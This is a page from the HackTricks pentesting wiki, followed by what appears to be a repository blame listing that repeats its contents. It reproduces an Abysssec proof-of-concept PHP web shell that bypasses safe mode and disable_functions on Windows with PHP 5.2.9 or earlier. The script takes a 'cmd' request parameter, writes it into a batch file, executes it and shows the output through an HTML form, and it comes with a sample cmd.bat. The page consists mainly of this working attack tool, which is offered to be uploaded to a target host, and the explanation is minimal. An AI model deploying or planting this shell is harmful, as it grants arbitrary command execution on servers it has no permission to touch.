hacktricks/pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-less-than-5.2.9-on-windows.md

<details> <summary><strong>Support HackTricks and get benefits!</strong></summary> Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** </details>
# disable\_functions bypass - PHP &lt;= 5.2.9 on windows

## PHP &lt;= 5.2.9 on windows

From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)

{% tabs %}
{% tab title="exploit.php" %}
```php
<?php
//cmd.php
/*
	Abysssec Inc Public Advisory 
	
	Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
	the problem comes from OS behavior - implement  and interfacing between php
	and operation systems directory structure . the problem is php won't tell difference 
	between directory browsing in linux and windows this can lead attacker to ability 
	execute his / her commands on targert machie even in SafeMod On  (php.ini setting) . 
	=============================================================================
	in linux when you want open a directory for example php directory you need
	to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell
	diffence between slash and back slash it means there is no didffrence  between 
	c:\php and c:/php , and this is not vulnerability but itself but  because of this  simple 
	php implement "\" character can escape safemode using  function like excec . 
	here is a PoC for discussed vulnerability . just upload files on your target host and execute
	your commands . 
	==============================================================================
	note : this vulnerabities is just for educational purpose and author will be not be responsible  
	for any damage using this vulnerabilty. 
	==============================================================================
	for more information visit Abysssec.com
	feel free to contact me at admin [at] abysssec.com
*/
	$cmd = $_REQUEST['cmd'];
	if ($cmd){
	$batch = fopen ("cmd.bat","w");
	fwrite($batch,"$cmd>abysssec.txt"."\r\n");
	fwrite($batch,"exit");
	fclose($batch);
	exec("\start cmd.bat");
	echo "<center>";
	echo "<h1>Abysssec.com PHP <= 5.2.9 SafeMod Bypasser</h1>";
	echo "<textarea rows=20 cols=60>";
	require("abysssec.txt");
	echo "</textarea>";
	echo "</center>";
	}
?>

<html>
<body bgcolor=#000000 and text=#DO0000>
<center>
<form method=post>
<input type=text name=cmd >
<input type=submit value=bypass>
</form>
</center>
</body>
</html>
```
{% endtab %}

{% tab title="cmd.bat" %}
```
dir > abyss.txt
exit
```
{% endtab %}
{% endtabs %}

<details> <summary><strong>Support HackTricks and get benefits!</strong></summary> Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** **Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** </details>
Ad hacktricks sponsoring 2022-04-28 15:38:48 +00:00			<details> <summary><strong>Support HackTricks and get benefits!</strong></summary> Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)! Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family) Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com) Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/carlospolopm). Share your hacking tricks submitting PRs to the [hacktricks github repo](https://github.com/carlospolop/hacktricks). </details>
GitBook: [master] 17 pages modified 2020-11-14 18:21:56 +00:00			`# disable\_functions bypass - PHP <= 5.2.9 on windows`

			`## PHP <= 5.2.9 on windows`

			`From [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)`

			`{% tabs %}`
			`{% tab title="exploit.php" %}`
			```php
			`<?php`
			`//cmd.php`
			`/*`
			`Abysssec Inc Public Advisory`

			`Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .`
			`the problem comes from OS behavior - implement and interfacing between php`
			`and operation systems directory structure . the problem is php won't tell difference`
			`between directory browsing in linux and windows this can lead attacker to ability`
			`execute his / her commands on targert machie even in SafeMod On (php.ini setting) .`
			`=============================================================================`
			`in linux when you want open a directory for example php directory you need`
			`to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell`
			`diffence between slash and back slash it means there is no didffrence between`
			`c:\php and c:/php , and this is not vulnerability but itself but because of this simple`
			`php implement "\" character can escape safemode using function like excec .`
			`here is a PoC for discussed vulnerability . just upload files on your target host and execute`
			`your commands .`
			`==============================================================================`
			`note : this vulnerabities is just for educational purpose and author will be not be responsible`
			`for any damage using this vulnerabilty.`
			`==============================================================================`
			`for more information visit Abysssec.com`
			`feel free to contact me at admin [at] abysssec.com`
			`*/`
			`$cmd = $_REQUEST['cmd'];`
			`if ($cmd){`
			`$batch = fopen ("cmd.bat","w");`
			`fwrite($batch,"$cmd>abysssec.txt"."\r\n");`
			`fwrite($batch,"exit");`
			`fclose($batch);`
			`exec("\start cmd.bat");`
			`echo "<center>";`
			`echo "<h1>Abysssec.com PHP <= 5.2.9 SafeMod Bypasser</h1>";`
			`echo "<textarea rows=20 cols=60>";`
			`require("abysssec.txt");`
			`echo "</textarea>";`
			`echo "</center>";`
			`}`
			`?>`

			`<html>`
			`<body bgcolor=#000000 and text=#DO0000>`
			`<center>`
			`<form method=post>`
			`<input type=text name=cmd >`
			`<input type=submit value=bypass>`
			`</form>`
			`</center>`
			`</body>`
			`</html>`
			```
			`{% endtab %}`

			`{% tab title="cmd.bat" %}`
			```
			`dir > abyss.txt`
			`exit`
			```
			`{% endtab %}`
			`{% endtabs %}`

Ad hacktricks sponsoring 2022-04-28 15:38:48 +00:00			<details> <summary><strong>Support HackTricks and get benefits!</strong></summary> Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the [SUBSCRIPTION PLANS](https://github.com/sponsors/carlospolop)! Discover [The PEASS Family](https://opensea.io/collection/the-peass-family), our collection of exclusive [NFTs](https://opensea.io/collection/the-peass-family) Get the [official PEASS & HackTricks swag](https://peass.creator-spring.com) Join the [💬](https://emojipedia.org/speech-balloon/) [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow me on Twitter [🐦](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[@carlospolopm](https://twitter.com/carlospolopm). Share your hacking tricks submitting PRs to the [hacktricks github repo](https://github.com/carlospolop/hacktricks). </details>